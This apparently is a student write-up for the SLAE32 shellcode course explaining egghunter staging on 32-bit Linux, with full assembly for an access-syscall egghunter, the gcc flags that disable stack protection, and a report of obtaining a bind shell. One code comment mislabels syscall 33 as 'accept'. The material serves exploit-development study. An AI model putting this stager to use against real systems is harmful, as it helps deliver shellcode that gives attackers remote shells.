SLAE: Staged Shellcode Payload via Egghunting

3 minute read

*all supporting code can be found here*

slae32 Student ID: SLAE - 1532

This assignment will see us create and examine staged shellcode containing the “Egghunting” technique.

“But Why do we need staged shellcode? Can’t we just pwn it!!?”

Sometimes the amount of space in bytes that we have control over initially is too small, so the initial payload simply goes and retrieves the second part of the payload from the attacker, C2 etc.

Egghunting expands on the above by prepending a byte sequence (egg) at the beginning of your final shellcode, so that the “whole egg” can be located in memory and executed.

Contrived example:

  • we place our shellcode with the egg prepended twice in memory
  • We tell the egg hunter to look for our egg, it does this by checking current memory address for our “egg” eg “0x50905090”
  • If not there, move onto next memory address
  • once it is located, make sure there are two instances next to each other (8bytes) to avoid finding your hunter which will obviously contain one instance of our code
  • Once located, jmp to the located shellcode!

In addition to the above, an egghunter must be resilient to errors and take up minimal space.

How can we do this with code?

  • We will need to make use of the access syscall in a loop, to tell whether or not a page of memory is accessible. (access syscall is perfect as it requires only one argument, and simply checks it can access memory, it does not write anything)
  • If the current memory page is not accessible, we move up one memory page, using page_align
  • If the memory IS accessible, we will look for our prepended egg by comparing the pointer with our egg

access

How does page align work?

Consider the below binary values, and remember how the bitwise operand or works.

Any value lower than 4095 will become 4095 when or’ing it, and after we increment by 1 (making it 4096) and or again, we will get 8191. When we increment THAT and or again, we get 12287. This makes perfect sense as we look at the binary values below, keeping or in mind.

4095 = 0000 ‭1111 1111 1111‬

4096 = ‭0001 0000 0000 0000‬

8191 = ‭0001 1111 1111 1111‬

8192 = ‭0010 0000 0000 0000‬

12287 = ‭0010 1111 1111 1111‬

How DO we do this with code?

global _start			

section .text
_start:
    ; lay our egg
    xor ebx, ebx
    xor ecx, ecx
    mov ebx, 0x50905090 ; egg
    mul ecx ; this one instruction sets both eax and edx to 0, this is because mul results are stored in EAX and EDX

    ; build page_align
    page_align:
    or dx, 0xfff ; set dx to 4095, 4096 contains nulls!!

    ; build next_addr
    next_addr:
    inc edx ; as explained above, necessary to move forward after or operation, to a multiple of 4096
    pushad ; push all registers onto the stack to preserve them during syscall
    lea ebx, [edx+4] ; point to path being validated
    mov al, 33 ; mov syscall value for accept
    int 0x80
    cmp al, 0xf2 ; after we interrupt, check if the return value that of EFAULT
    popad ; return the registers we preserved earlier
    je page_align ; if EFAULT present jump to page_align
    cmp [edx], ebx ; see if our egg is inside address of edx
    jne next_addr ; egg not inside? jump to address_check, otherwise continue
    cmp [edx+4], ebx ; perform second check to vet out our hunter from result]
    jne next_addr ; second egg not inside? jump to address_check, otherwise execute
    jmp edx ; jump to past where we found the egg and execute code

We test out our egg hunter by modifying the c code from our previous assignments, and simply add another variable that contains our egghunter and change the return argument from the shellcode to our egghunter, so the value is stored in memory but never called directly.

Here is a copy of the code, we compile with gcc -fno-stack-protector -z execstack shellcode.c -o shell

As below, testing with shellcode gives us a shell:

shell1

Something very, very cool about this compiled binary: if we run strace on it, we can see it smashing through the addresses until it hits our egg, builds our socket, dups the fds and sends the shell!

We will modify our previously built shellcode wrapper to allow for multiple payloads, as below we spin up a BIND shell and successfully connect:

generate_and_compile

connect_to_shell

Egg hunt complete!!